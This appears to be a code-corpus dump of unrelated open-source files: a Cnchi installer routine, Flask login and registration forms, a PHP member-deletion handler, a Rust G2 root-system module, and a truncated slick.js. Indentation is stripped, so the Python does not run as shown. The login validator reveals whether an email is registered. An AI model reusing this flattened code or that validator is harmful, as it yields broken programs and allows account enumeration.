def configure_system(self, hardware_install):
""" Final install steps.
Set clock, language, timezone, run mkinitcpio,
populate pacman keyring, setup systemd services, ... """
self.events.add('pulse', 'start')
self.events.add('info', _("Configuring your new system"))
auto_fstab = PostFstab(
self.method, self.mount_devices, self.fs_devices, self.ssd, self.settings)
auto_fstab.run()
if auto_fstab.root_uuid:
self.settings.set('ruuid', auto_fstab.root_uuid)
logging.debug("fstab file generated.")
# Check if we have any btrfs device
if self.check_btrfs():
self.settings.set('btrfs', True)
# If SSD was detected copy udev rule for deadline scheduler
if self.ssd:
self.set_scheduler()
logging.debug("SSD udev rule copied successfully")
# Copy configured networks in Live medium to target system
if self.settings.get("network_manager") == "NetworkManager":
self.copy_network_config()
if self.desktop == "base":
# Setup systemd-networkd for systems that won't use the
# networkmanager or connman daemons (atm it's just base install)
# Enable systemd_networkd services
# https://github.com/Antergos/Cnchi/issues/332#issuecomment-108745026
srv.enable_services(["systemd-networkd", "systemd-resolved"])
# Setup systemd_networkd
# TODO: Ask user for SSID and passphrase if a wireless link is
# found (here or inside systemd_networkd.setup() ?)
systemd_networkd.setup()
logging.debug("Network configuration done.")
# Copy mirror list
mirrorlist_src_path = '/etc/pacman.d/mirrorlist'
mirrorlist_dst_path = os.path.join(DEST_DIR, 'etc/pacman.d/mirrorlist')
try:
shutil.copy2(mirrorlist_src_path, mirrorlist_dst_path)
logging.debug("Mirror list copied.")
except FileNotFoundError:
logging.error(
"Can't copy mirrorlist file. File %s not found",
mirrorlist_src_path)
except FileExistsError:
logging.warning("File %s already exists.", mirrorlist_dst_path)
# Add Antergos repo to /etc/pacman.conf
self.update_pacman_conf()
self.pacman_conf_updated = True
logging.debug("pacman.conf has been created successfully")
# Enable some useful services
services = []
if self.desktop != "base":
# In base there's no desktop manager ;)
services.append(self.settings.get("desktop_manager"))
# In base we use systemd-networkd (setup already done above)
services.append(self.settings.get("network_manager"))
# If bumblebee (optimus cards) is installed, enable it
if os.path.exists(os.path.join(DEST_DIR, "usr/lib/systemd/system/bumblebeed.service")):
services.extend(["bumblebee"])
services.extend(["ModemManager", "haveged"])
if self.method == "zfs":
# Beginning with ZOL version 0.6.5.8 the ZFS service unit files have
# been changed so that you need to explicitly enable any ZFS services
# you want to run.
services.extend(["zfs.target", "zfs-import-cache", "zfs-mount"])
srv.enable_services(services)
# Enable timesyncd service
if self.settings.get("use_timesyncd"):
self.setup_timesyncd()
# Set timezone
zone = self.settings.get("timezone_zone")
if zone:
zoneinfo_path = os.path.join("/usr/share/zoneinfo", zone)
localtime_path = "/etc/localtime"
chroot_call(['ln', '-sf', zoneinfo_path, localtime_path])
logging.debug("Timezone set to %s", zoneinfo_path)
else:
logging.warning(
"Can't read selected timezone! Will leave it to UTC.")
# Configure detected hardware
# NOTE: Because hardware can need extra repos, this code must run
# always after having called the update_pacman_conf method
if self.pacman_conf_updated and hardware_install:
try:
logging.debug("Running hardware drivers post-install jobs...")
hardware_install.post_install(DEST_DIR)
except Exception as ex:
template = "Error in hardware module. " \
"An exception of type {0} occured. Arguments:\n{1!r}"
message = template.format(type(ex).__name__, ex.args)
logging.error(message)
self.setup_user()
# Generate locales
locale = self.settings.get("locale")
self.events.add('info', _("Generating locales..."))
self.uncomment_locale_gen(locale)
chroot_call(['locale-gen'])
locale_conf_path = os.path.join(DEST_DIR, "etc/locale.conf")
with open(locale_conf_path, "w") as locale_conf:
locale_conf.write('LANG={0}\n'.format(locale))
locale_conf.write('LC_COLLATE={0}\n'.format(locale))
# environment_path = os.path.join(DEST_DIR, "etc/environment")
# with open(environment_path, "w") as environment:
# environment.write('LANG={0}\n'.format(locale))
self.events.add('info', _("Adjusting hardware clock..."))
self.auto_timesetting()
self.events.add('info', _("Configuring keymap..."))
self.set_keymap()
# Install configs for root
logging.debug("Copying user configuration files")
chroot_call(['cp', '-a', '/etc/skel/.', '/root/'])
self.events.add('info', _("Configuring hardware..."))
# Copy generated xorg.conf to target
if os.path.exists("/etc/X11/xorg.conf"):
src = "/etc/X11/xorg.conf"
dst = os.path.join(DEST_DIR, 'etc/X11/xorg.conf')
shutil.copy2(src, dst)
# Configure ALSA
# self.alsa_mixer_setup()
#logging.debug("Updated Alsa mixer settings")
# Set pulse
# if os.path.exists(os.path.join(DEST_DIR, "usr/bin/pulseaudio-ctl")):
# chroot_run(['pulseaudio-ctl', 'normal'])
# Set fluidsynth audio system (in our case, pulseaudio)
self.set_fluidsynth()
logging.debug("Updated fluidsynth configuration file")
# Workaround for pacman-key bug FS#45351
# https://bugs.archlinux.org/task/45351
# We have to kill gpg-agent because if it stays around we can't
# reliably unmount the target partition.
logging.debug("Stopping gpg agent...")
chroot_call(['killall', '-9', 'gpg-agent'])
# FIXME: Temporary workaround for spl and zfs packages
if self.method == "zfs":
self.rebuild_zfs_modules()
# Let's start without using hwdetect for mkinitcpio.conf.
# It should work out of the box most of the time.
# This way we don't have to fix deprecated hooks.
# NOTE: With LUKS or LVM maybe we'll have to fix deprecated hooks.
self.events.add('info', _("Configuring System Startup..."))
mkinitcpio.run(DEST_DIR, self.settings, self.mount_devices, self.blvm)
# Patch user-dirs-update-gtk.desktop
self.patch_user_dirs_update_gtk()
logging.debug("File user-dirs-update-gtk.desktop patched.")
# Set lightdm config including autologin if selected
if self.desktop != "base":
self.setup_display_manager()
# Configure user features (firewall, libreoffice language pack, ...)
#self.setup_features()
post_features = PostFeatures(DEST_DIR, self.settings)
post_features.setup()
# Install boot loader (always after running mkinitcpio)
if self.settings.get('bootloader_install'):
try:
self.events.add('info', _("Installing bootloader..."))
boot_loader = loader.Bootloader(
DEST_DIR,
self.settings,
self.mount_devices)
boot_loader.install()
except Exception as ex:
template = "Cannot install bootloader. " \
"An exception of type {0} occured. Arguments:\n{1!r}"
message = template.format(type(ex).__name__, ex.args)
logging.error(message)
# Create an initial database for mandb (slow)
#self.events.add('info', _("Updating man pages..."))
#chroot_call(["mandb", "--quiet"])
# Initialise pkgfile (pacman .files metadata explorer) database
logging.debug("Updating pkgfile database")
chroot_call(["pkgfile", "--update"])
if self.desktop != "base":
# avahi package seems to fail to create its user and group in some cases (¿?)
cmd = ["groupadd", "-r", "-g", "84", "avahi"]
chroot_call(cmd)
cmd = ["useradd", "-r", "-u", "84", "-g", "avahi", "-d", "/", "-s",
"/bin/nologin", "-c", "avahi", "avahi"]
chroot_call(cmd)
# Install sonar (a11y) gsettings if present in the ISO (and a11y is on)
src = "/usr/share/glib-2.0/schemas/92_antergos_sonar.gschema.override"
if self.settings.get('a11y') and os.path.exists(src):
dst = os.path.join(DEST_DIR, 'usr/share/glib-2.0/schemas')
shutil.copy2(src, dst)
# Enable AUR in pamac if AUR feature selected
self.pamac_setup()
# Apply makepkg tweaks upon install (issue #871)
self.modify_makepkg()
# Enable colors in Nano editor
self.nano_setup()
logging.debug("Setting .bashrc to load .bashrc.aliases")
bashrc_files = ["etc/skel/.bashrc"]
username = self.settings.get('user_name')
bashrc_files.append("home/{}/.bashrc".format(username))
for bashrc_file in bashrc_files:
bashrc_file = os.path.join(DEST_DIR, bashrc_file)
if os.path.exists(bashrc_file):
with open(bashrc_file, 'a') as bashrc:
bashrc.write('\n')
bashrc.write('if [ -e ~/.bashrc.aliases ] ; then\n')
bashrc.write(' source ~/.bashrc.aliases\n')
bashrc.write('fi\n')
# Overwrite settings with Lembrame if enabled
# TODO: Rethink this function because we need almost everything but some things for Lembrame
if self.settings.get("feature_lembrame"):
logging.debug("Overwriting configs from Lembrame")
self.events.add('info', _("Overwriting configs from Lembrame"))
lembrame = Lembrame(self.settings)
lembrame.overwrite_content()
# Fix #1116 (root folder permissions)
path = os.path.join(DEST_DIR, 'root')
cmd = ['chmod', '750', path]
call(cmd)
# This must be done at the end of the installation when using zfs
if self.method == "zfs":
logging.debug("Installation done, exporting ZFS pool")
pool_name = self.settings.get("zfs_pool_name")
cmd = ["zpool", "export", "-f", pool_name]
call(cmd)
| gpl-3.0 |
bzennn/blog_flask | app/forms.py | 3987 | from flask_wtf import FlaskForm
from flask_wtf.file import FileAllowed, FileRequired, FileField
from flask import g
from wtforms import StringField, PasswordField, BooleanField, TextAreaField
from wtforms.validators import InputRequired, email, EqualTo, length
from .models import User
from app import images
class LoginForm(FlaskForm):
email = StringField("email", validators=[InputRequired(), email()])
password = PasswordField("password", validators=[InputRequired(), length(min=1, max=100)])
remember_me = BooleanField("remember", default=False)
def __init__(self, *args, **kwargs):
FlaskForm.__init__(self, *args, **kwargs)
def validate(self):
if not FlaskForm.validate(self):
return False
user_obj = User.query.filter_by(email=self.email.data).first()
if user_obj is None:
self.email.errors.append('User with such email does not exist.')
return False
if user_obj is not None and not user_obj.check_password(password=self.password.data):
self.password.errors.append('Wrong password.')
return False
return True
class RegisterForm(FlaskForm):
nickname = StringField("nickname", validators=[InputRequired()])
firstName = StringField("first_name", validators=[InputRequired()])
lastName = StringField("last_name", validators=[InputRequired()])
email = StringField("email", validators=[InputRequired(), email()])
password = PasswordField("password",
validators=[InputRequired(), EqualTo('repeat_password',
message='Passwords must match'),
length(min=1, max=100)])
repeat_password = PasswordField("repeat_password", validators=[InputRequired()])
def __init__(self, *args, **kwargs):
FlaskForm.__init__(self, *args, **kwargs)
def validate(self):
if not FlaskForm.validate(self):
return False
user_nickname = User.query.filter_by(nickname=self.nickname.data).first()
user_email = User.query.filter_by(email=self.email.data).first()
if user_nickname:
self.nickname.errors.append('This nickname already in use.')
return False
if user_email:
self.email.errors.append('This email already in use.')
return False
return True
class EditProfileForm(FlaskForm):
old_password = PasswordField("password", validators=[length(min=1, max=100)])
new_password = PasswordField("password", validators=[EqualTo('new_password_repeat',
message='Passwords must match'),
length(min=1, max=100)])
new_password_repeat = PasswordField("password", validators=[length(min=1, max=100)])
def __init__(self, *args, **kwargs):
FlaskForm.__init__(self, *args, **kwargs)
def validate(self):
if not FlaskForm.validate(self):
return False
user_obj = User.query.filter_by(nickname=g.user.nickname).first()
if not user_obj.check_password(password=self.old_password.data):
self.old_password.errors.append('Wrong password.')
return False
return True
class CreatePostForm(FlaskForm):
post_title = TextAreaField("post_title", validators=[InputRequired(), length(max=120)])
post_subtitle = TextAreaField("post_subtitle", validators=[InputRequired()])
post_content = TextAreaField("post_content", validators=[InputRequired()])
def __init__(self, *args, **kwargs):
FlaskForm.__init__(self, *args, **kwargs)
class CreateCommentForm(FlaskForm):
comment_content = TextAreaField("comment_content", validators=[InputRequired()])
def __init__(self, *args, **kwargs):
FlaskForm.__init__(self, *args, **kwargs)
| gpl-3.0 |
angelov/eestec-platform | app/Members/Handlers/DeleteMemberCommandHandler.php | 1877 | <?php
/**
* Storgman - Student Organizations Management
* Copyright (C) 2014-2016, Dejan Angelov <angelovdejan92@gmail.com>
*
* This file is part of Storgman.
*
* Storgman is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Storgman is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Storgman. If not, see <http://www.gnu.org/licenses/>.
*
* @package Storgman
* @copyright Copyright (C) 2014-2016, Dejan Angelov <angelovdejan92@gmail.com>
* @license https://github.com/angelov/storgman/blob/master/LICENSE
* @author Dejan Angelov <angelovdejan92@gmail.com>
*/
namespace Angelov\Storgman\Members\Handlers;
use Angelov\Storgman\Members\Commands\DeleteMemberCommand;
use Angelov\Storgman\Members\Repositories\MembersRepositoryInterface;
use Angelov\Storgman\Members\Photos\Repositories\PhotosRepositoryInterface;
class DeleteMemberCommandHandler
{
protected $members;
protected $photos;
public function __construct(MembersRepositoryInterface $members, PhotosRepositoryInterface $photos)
{
$this->members = $members;
$this->photos = $photos;
}
public function handle(DeleteMemberCommand $command)
{
$id = $command->getMemberId();
$member = $this->members->get($id);
$photo = $member->getPhoto();
if (isset($photo)) {
$this->photos->destroy($photo, 'members');
}
$this->members->destroy($id);
}
}
| gpl-3.0 |
hep-rs/lie | src/series/type_g.rs | 5511 | use std::fmt;
use crate::error::Error;
use crate::root::Root;
use crate::root_system::{self, BasisLengths, CartanMatrix, InverseCartanMatrix, RootSystem};
/// The \\(G_{n}\\) exceptional Lie groups.
///
/// The only allows value of \\(n\\) is 2.
///
/// The Cartan matrix for \\(G_{2}\\) is:
///
/// \\begin{equation}
/// \begin{pmatrix}
/// 2 & -1 \\\\
/// -3 & 2
/// \end{pmatrix}
/// \\end{equation}
#[derive(Debug)]
pub struct TypeG {
rank: usize,
cartan_matrix: CartanMatrix,
inverse_cartan_matrix: InverseCartanMatrix,
basis_lengths: BasisLengths,
simple_roots: Vec<Root>,
positive_roots: Vec<Root>,
roots: Vec<Root>,
}
impl TypeG {
/// Create new Lie group \\(G_{n}\\).
///
/// This function will automatic convert the exceptional isomorphisms to
/// their corresponding 'standard' label.
///
/// # Examples
///
/// ```
/// use lie::RootSystem;
/// use lie::series::TypeG;
///
/// let g2 = TypeG::new(2).unwrap();
///
/// assert_eq!(g2.rank(), 2);
/// assert_eq!(g2.num_roots(), 14);
///
/// println!("The roots of {} are:", g2);
/// for r in g2.roots() {
/// println!("level {} | {}", r.level(), r);
/// }
/// ```
pub fn new(rank: usize) -> Result<Self, Error> {
match rank {
0 => Err(Error::new("Rank of a Lie group must be at least 1.")),
rank if rank == 2 => {
let cartan_matrix = array![[2, -1], [-3, 2]];
let inverse_cartan_matrix = (array![[2, 1], [3, 2]], 1);
let basis_lengths = array![2, 6];
let simple_roots = root_system::find_simple_roots(&cartan_matrix);
let positive_roots = root_system::find_positive_roots(&simple_roots);
let roots = root_system::find_roots_from_positive(&positive_roots);
Ok(TypeG {
rank,
cartan_matrix,
inverse_cartan_matrix,
basis_lengths,
simple_roots,
positive_roots,
roots,
})
}
_ => Err(Error::new("Rank of G series groups can only be 2.")),
}
}
}
impl RootSystem for TypeG {
fn rank(&self) -> usize {
self.rank
}
fn cartan_matrix(&self) -> &CartanMatrix {
&self.cartan_matrix
}
fn inverse_cartan_matrix(&self) -> &InverseCartanMatrix {
&self.inverse_cartan_matrix
}
fn basis_lengths(&self) -> &BasisLengths {
&self.basis_lengths
}
fn simple_roots(&self) -> &[Root] {
&self.simple_roots
}
fn positive_roots(&self) -> &[Root] {
&self.positive_roots
}
fn roots(&self) -> &[Root] {
&self.roots
}
}
////////////////////////////////////////////////////////////////////////////////
// Trait implementations
////////////////////////////////////////////////////////////////////////////////
impl fmt::Display for TypeG {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
f.pad(&format!("G{}", self.rank))
}
}
////////////////////////////////////////////////////////////////////////////////
// Tests
////////////////////////////////////////////////////////////////////////////////
#[cfg(test)]
mod test {
use super::*;
use crate::root_system::RootSystem;
use ndarray::Array2;
#[cfg(feature = "nightly")]
use test::Bencher;
#[test]
fn root_system() {
for i in (0..10).filter(|&i| i != 2) {
assert!(TypeG::new(i).is_err());
}
let g = TypeG::new(2).unwrap();
assert_eq!(g.rank(), 2);
assert_eq!(g.cartan_matrix().dim(), (2, 2));
assert_eq!(g.determinant(), 1);
let cm = g.cartan_matrix();
let &(ref icm, d) = g.inverse_cartan_matrix();
assert_eq!(cm.dot(icm), icm.dot(cm));
assert_eq!(cm.dot(icm) / d, Array2::eye(2));
assert_eq!(g.cartan_matrix(), &array![[2, -1], [-3, 2]]);
}
#[test]
fn roots() {
let g = TypeG::new(2).unwrap();
assert_eq!(g.num_simple_roots(), g.simple_roots().len());
assert_eq!(g.num_positive_roots(), g.positive_roots().len());
assert_eq!(g.num_roots(), g.roots().len());
}
#[test]
fn basis_lengths() {
let g = TypeG::new(2).unwrap();
assert_eq!(g.basis_lengths().len(), g.num_simple_roots());
assert_eq!(g.basis_lengths(), &array![2, 6]);
}
#[test]
fn inner_product() {
let g = TypeG::new(2).unwrap();
let sij = Array2::from_shape_fn((g.rank(), g.rank()), |(i, j)| {
g.inner_product(&g.simple_roots()[i], &g.simple_roots()[j])
});
assert_eq!(sij, array![[2, -3], [-3, 6]]);
assert_eq!(&sij.diag(), g.basis_lengths());
}
#[test]
fn scalar_product() {
let g = TypeG::new(2).unwrap();
let aij = Array2::from_shape_fn((g.rank(), g.rank()), |(i, j)| {
g.scalar_product(&g.simple_roots()[i], &g.simple_roots()[j])
});
assert_eq!(g.cartan_matrix(), &aij);
}
#[test]
fn fmt() {
let g = TypeG::new(2).unwrap();
assert_eq!(format!("{}", g), "G2");
}
#[cfg(feature = "nightly")]
#[bench]
fn bench_roots(b: &mut Bencher) {
b.iter(|| {
let g = TypeG::new(2).unwrap();
assert_eq!(g.num_roots(), g.roots().len());
});
}
}
| gpl-3.0 |
smartstoreag/SmartStoreNET | src/Presentation/SmartStore.Web/Content/vendors/slick/slick.js | 84484 | /*
_ _ _ _
___| (_) ___| | __ (_)___
/ __| | |/ __| |/ / | / __|
\__ \ | | (__| < _ | \__ \
|___/_|_|\___|_|\_(_)/ |___/
|__/
Version: 1.6.0
Author: Ken Wheeler
Website: http://kenwheeler.github.io
Docs: http://kenwheeler.github.io/slick
Repo: http://github.com/kenwheeler/slick
Issues: http://github.com/kenwheeler/slick/issues
*/
/* global window, document, define, jQuery, setInterval, clearInterval */
(function(factory) {
'use strict';
if (typeof define === 'function' && define.amd) {
define(['jquery'], factory);
} else if (typeof exports !== 'undefined') {
module.exports = factory(require('jquery'));
} else {
factory(jQuery);
}
}(function($) {
'use strict';
var Slick = window.Slick || {};
Slick = (function() {
var instanceUid = 0;
function Slick(element, settings) {
var _ = this, dataSettings;
_.defaults = {
accessibility: true,
adaptiveHeight: false,
appendArrows: $(element),
appendDots: $(element),
arrows: true,
asNavFor: null,
prevArrow: '<button type="button" data-role="none" class="slick-prev" aria-label="Previous" tabindex="0" role="button">Previous</button>',
nextArrow: '<button type="button" data-role="none" class="slick-next" aria-label="Next" tabindex="0" role="button">Next</button>',
autoplay: false,
autoplaySpeed: 3000,
centerMode: false,
centerPadding: '50px',
cssEase: 'ease',
customPaging: function(slider, i) {
return $('<button type="button" data-role="none" role="button" tabindex="0" />').text(i + 1);
},
dots: false,
dotsClass: 'slick-dots',
draggable: true,
easing: 'linear',
edgeFriction: 0.35,
fade: false,
focusOnSelect: false,
infinite: true,
initialSlide: 0,
lazyLoad: 'ondemand',
mobileFirst: false,
pauseOnHover: true,
pauseOnFocus: true,
pauseOnDotsHover: false,
respondTo: 'window',
responsive: null,
rows: 1,
rtl: false,
slide: '',
slidesPerRow: 1,
slidesToShow: 1,
slidesToScroll: 1,
speed: 500,
swipe: true,
swipeToSlide: false,
touchMove: true,
touchThreshold: 5,
useCSS: true,
useTransform: true,
variableWidth: false,
vertical: false,
verticalSwiping: false,
waitForAnimate: true,
zIndex: 1000
};
_.initials = {
animating: false,
dragging: false,
autoPlayTimer: null,
currentDirection: 0,
currentLeft: null,
currentSlide: 0,
direction: 1,
$dots: null,
listWidth: null,
listHeight: null,
loadIndex: 0,
$nextArrow: null,
$prevArrow: null,
slideCount: null,
slideWidth: null,
$slideTrack: null,
$slides: null,
sliding: false,
slideOffset: 0,
swipeLeft: null,
$list: null,
touchObject: {},
transformsEnabled: false,
unslicked: false
};
$.extend(_, _.initials);
_.activeBreakpoint = null;
_.animType = null;
_.animProp = null;
_.breakpoints = [];
_.breakpointSettings = [];
_.cssTransitions = false;
_.focussed = false;
_.interrupted = false;
_.hidden = 'hidden';
_.paused = true;
_.positionProp = null;
_.respondTo = null;
_.rowCount = 1;
_.shouldClick = true;
_.$slider = $(element);
_.$slidesCache = null;
_.transformType = null;
_.transitionType = null;
_.visibilityChange = 'visibilitychange';
_.windowWidth = 0;
_.windowTimer = null;
dataSettings = $(element).data('slick') || {};
_.options = $.extend({}, _.defaults, settings, dataSettings);
_.currentSlide = _.options.initialSlide;
_.originalSettings = _.options;
if (typeof document.mozHidden !== 'undefined') {
_.hidden = 'mozHidden';
_.visibilityChange = 'mozvisibilitychange';
} else if (typeof document.webkitHidden !== 'undefined') {
_.hidden = 'webkitHidden';
_.visibilityChange = 'webkitvisibilitychange';
}
_.autoPlay = $.proxy(_.autoPlay, _);
_.autoPlayClear = $.proxy(_.autoPlayClear, _);
_.autoPlayIterator = $.proxy(_.autoPlayIterator, _);
_.changeSlide = $.proxy(_.changeSlide, _);
_.clickHandler = $.proxy(_.clickHandler, _);
_.selectHandler = $.proxy(_.selectHandler, _);
_.setPosition = $.proxy(_.setPosition, _);
_.swipeHandler = $.proxy(_.swipeHandler, _);
_.dragHandler = $.proxy(_.dragHandler, _);
_.keyHandler = $.proxy(_.keyHandler, _);
_.instanceUid = instanceUid++;
// A simple way to check for HTML strings
// Strict HTML recognition (must start with <)
// Extracted from jQuery v1.11 source
_.htmlExpr = /^(?:\s*(<[\w\W]+>)[^>]*)$/;
_.registerBreakpoints();
_.init(true);
}
return Slick;
}());
Slick.prototype.activateADA = function() {
var _ = this;
_.$slideTrack.find('.slick-active').attr({
'aria-hidden': 'false'
}).find('a, input, button, select').attr({
'tabindex': '0'
});
};
Slick.prototype.addSlide = Slick.prototype.slickAdd = function(markup, index, addBefore) {
var _ = this;
if (typeof(index) === 'boolean') {
addBefore = index;
index = null;
} else if (index < 0 || (index >= _.slideCount)) {
return false;
}
_.unload();
if (typeof(index) === 'number') {
if (index === 0 && _.$slides.length === 0) {
$(markup).appendTo(_.$slideTrack);
} else if (addBefore) {
$(markup).insertBefore(_.$slides.eq(index));
} else {
$(markup).insertAfter(_.$slides.eq(index));
}
} else {
if (addBefore === true) {
$(markup).prependTo(_.$slideTrack);
} else {
$(markup).appendTo(_.$slideTrack);
}
}
_.$slides = _.$slideTrack.children(this.options.slide);
_.$slideTrack.children(this.options.slide).detach();
_.$slideTrack.append(_.$slides);
_.$slides.each(function(index, element) {
$(element).attr('data-slick-index', index);
});
_.$slidesCache = _.$slides;
_.reinit();
};
Slick.prototype.animateHeight = function() {
var _ = this;
if (_.options.slidesToShow === 1 && _.options.adaptiveHeight === true && _.options.vertical === false) {
var targetHeight = _.$slides.eq(_.currentSlide).outerHeight(true);
_.$list.animate({
height: targetHeight
}, _.options.speed);
}
};
Slick.prototype.animateSlide = function(targetLeft, callback) {
var animProps = {},
_ = this;
_.animateHeight();
if (_.options.rtl === true && _.options.vertical === false) {
targetLeft = -targetLeft;
}
if (_.transformsEnabled === false) {
if (_.options.vertical === false) {
_.$slideTrack.animate({
left: targetLeft
}, _.options.speed, _.options.easing, callback);
} else {
_.$slideTrack.animate({
top: targetLeft
}, _.options.speed, _.options.easing, callback);
}
} else {
if (_.cssTransitions === false) {
if (_.options.rtl === true) {
_.currentLeft = -(_.currentLeft);
}
$({
animStart: _.currentLeft
}).animate({
animStart: targetLeft
}, {
duration: _.options.speed,
easing: _.options.easing,
step: function(now) {
now = Math.ceil(now);
if (_.options.vertical === false) {
animProps[_.animType] = 'translate(' +
now + 'px, 0px)';
_.$slideTrack.css(animProps);
} else {
animProps[_.animType] = 'translate(0px,' +
now + 'px)';
_.$slideTrack.css(animProps);
}
},
complete: function() {
if (callback) {
callback.call();
}
}
});
} else {
_.applyTransition();
targetLeft = Math.ceil(targetLeft);
if (_.options.vertical === false) {
animProps[_.animType] = 'translate3d(' + targetLeft + 'px, 0px, 0px)';
} else {
animProps[_.animType] = 'translate3d(0px,' + targetLeft + 'px, 0px)';
}
_.$slideTrack.css(animProps);
if (callback) {
setTimeout(function() {
_.disableTransition();
callback.call();
}, _.options.speed);
}
}
}
};
Slick.prototype.getNavTarget = function() {
var _ = this,
asNavFor = _.options.asNavFor;
if ( asNavFor && asNavFor !== null ) {
asNavFor = $(asNavFor).not(_.$slider);
}
return asNavFor;
};
Slick.prototype.asNavFor = function(index) {
var _ = this,
asNavFor = _.getNavTarget();
if ( asNavFor !== null && typeof asNavFor === 'object' ) {
asNavFor.each(function() {
var target = $(this).slick('getSlick');
if(!target.unslicked) {
target.slideHandler(index, true);
}
});
}
};
Slick.prototype.applyTransition = function(slide) {
var _ = this,
transition = {};
if (_.options.fade === false) {
transition[_.transitionType] = _.transformType + ' ' + _.options.speed + 'ms ' + _.options.cssEase;
} else {
transition[_.transitionType] = 'opacity ' + _.options.speed + 'ms ' + _.options.cssEase;
}
if (_.options.fade === false) {
_.$slideTrack.css(transition);
} else {
_.$slides.eq(slide).css(transition);
}
};
Slick.prototype.autoPlay = function() {
var _ = this;
_.autoPlayClear();
if ( _.slideCount > _.options.slidesToShow ) {
_.autoPlayTimer = setInterval( _.autoPlayIterator, _.options.autoplaySpeed );
}
};
Slick.prototype.autoPlayClear = function() {
var _ = this;
if (_.autoPlayTimer) {
clearInterval(_.autoPlayTimer);
}
};
Slick.prototype.autoPlayIterator = function() {
var _ = this,
slideTo = _.currentSlide + _.options.slidesToScroll;
if ( !_.paused && !_.interrupted && !_.focussed ) {
if ( _.options.infinite === false ) {
if ( _.direction === 1 && ( _.currentSlide + 1 ) === ( _.slideCount - 1 )) {
_.direction = 0;
}
else if ( _.direction === 0 ) {
slideTo = _.currentSlide - _.options.slidesToScroll;
if ( _.currentSlide - 1 === 0 ) {
_.direction = 1;
}
}
}
_.slideHandler( slideTo );
}
};
Slick.prototype.buildArrows = function() {
var _ = this;
if (_.options.arrows === true ) {
_.$prevArrow = $(_.options.prevArrow).addClass('slick-arrow');
_.$nextArrow = $(_.options.nextArrow).addClass('slick-arrow');
if( _.slideCount > _.options.slidesToShow ) {
_.$prevArrow.removeClass('slick-hidden').removeAttr('aria-hidden tabindex');
_.$nextArrow.removeClass('slick-hidden').removeAttr('aria-hidden tabindex');
if (_.htmlExpr.test(_.options.prevArrow)) {
_.$prevArrow.prependTo(_.options.appendArrows);
}
if (_.htmlExpr.test(_.options.nextArrow)) {
_.$nextArrow.appendTo(_.options.appendArrows);
}
if (_.options.infinite !== true) {
_.$prevArrow
.addClass('slick-disabled')
.attr('aria-disabled', 'true');
}
} else {
_.$prevArrow.add( _.$nextArrow )
.addClass('slick-hidden')
.attr({
'aria-disabled': 'true',
'tabindex': '-1'
});
}
}
};
Slick.prototype.buildDots = function() {
var _ = this,
i, dot;
if (_.options.dots === true && _.slideCount > _.options.slidesToShow) {
_.$slider.addClass('slick-dotted');
dot = $('<ul />').addClass(_.options.dotsClass);
for (i = 0; i <= _.getDotCount(); i += 1) {
dot.append($('<li />').append(_.options.customPaging.call(this, _, i)));
}
_.$dots = dot.appendTo(_.options.appendDots);
_.$dots.find('li').first().addClass('slick-active').attr('aria-hidden', 'false');
}
};
Slick.prototype.buildOut = function() {
var _ = this;
_.$slides =
_.$slider
.children( _.options.slide + ':not(.slick-cloned)')
.addClass('slick-slide');
_.slideCount = _.$slides.length;
_.$slides.each(function(index, element) {
$(element)
.attr('data-slick-index', index)
.data('originalStyling', $(element).attr('style') || '');
});
_.$slider.addClass('slick-slider');
_.$slideTrack = (_.slideCount === 0) ?
$('<div class="slick-track"/>').appendTo(_.$slider) :
_.$slides.wrapAll('<div class="slick-track"/>').parent();
_.$list = _.$slideTrack.wrap(
'<div aria-live="polite" class="slick-list"/>').parent();
_.$slideTrack.css('opacity', 0);
if (_.options.centerMode === true || _.options.swipeToSlide === true) {
_.options.slidesToScroll = 1;
}
$('img[data-lazy]', _.$slider).not('[src]').addClass('slick-loading');
_.setupInfinite();
_.buildArrows();
_.buildDots();
_.updateDots();
_.setSlideClasses(typeof _.currentSlide === 'number' ? _.currentSlide : 0);
if (_.options.draggable === true) {
_.$list.addClass('draggable');
}
};
Slick.prototype.buildRows = function() {
var _ = this, a, b, c, newSlides, numOfSlides, originalSlides,slidesPerSection;
newSlides = document.createDocumentFragment();
originalSlides = _.$slider.children();
if(_.options.rows > 1) {
slidesPerSection = _.options.slidesPerRow * _.options.rows;
numOfSlides = Math.ceil(
originalSlides.length / slidesPerSection
);
for(a = 0; a < numOfSlides; a++){
var slide = document.createElement('div');
for(b = 0; b < _.options.rows; b++) {
var row = document.createElement('div');
for(c = 0; c < _.options.slidesPerRow; c++) {
var target = (a * slidesPerSection + ((b * _.options.slidesPerRow) + c));
if (originalSlides.get(target)) {
row.appendChild(originalSlides.get(target));
}
}
slide.appendChild(row);
}
newSlides.appendChild(slide);
}
_.$slider.empty().append(newSlides);
_.$slider.children().children().children()
.css({
'width':(100 / _.options.slidesPerRow) + '%',
'display': 'inline-block'
});
}
};
Slick.prototype.checkResponsive = function(initial, forceUpdate) {
var _ = this,
breakpoint, targetBreakpoint, respondToWidth, triggerBreakpoint = false;
var sliderWidth = _.$slider.width();
var windowWidth = window.innerWidth || $(window).width();
if (_.respondTo === 'window') {
respondToWidth = windowWidth;
} else if (_.respondTo === 'slider') {
respondToWidth = sliderWidth;
} else if (_.respondTo === 'min') {
respondToWidth = Math.min(windowWidth, sliderWidth);
}
if ( _.options.responsive &&
_.options.responsive.length &&
_.options.responsive !== null) {
targetBreakpoint = null;
for (breakpoint in _.breakpoints) {
if (_.breakpoints.hasOwnProperty(breakpoint)) {
if (_.originalSettings.mobileFirst === false) {
if (respondToWidth < _.breakpoints[breakpoint]) {
targetBreakpoint = _.breakpoints[breakpoint];
}
} else {
if (respondToWidth > _.breakpoints[breakpoint]) {
targetBreakpoint = _.breakpoints[breakpoint];
}
}
}
}
if (targetBreakpoint !== null) {
if (_.activeBreakpoint !== null) {
if (targetBreakpoint !== _.activeBreakpoint || forceUpdate) {
_.activeBreakpoint =
targetBreakpoint;
if (_.breakpointSettings[targetBreakpoint] === 'unslick') {
_.unslick(targetBreakpoint);
} else {
_.options = $.extend({}, _.originalSettings,
_.breakpointSettings[
targetBreakpoint]);
if (initial === true) {
_.currentSlide = _.options.initialSlide;
}
_.refresh(initial);
}
triggerBreakpoint = targetBreakpoint;
}
} else {
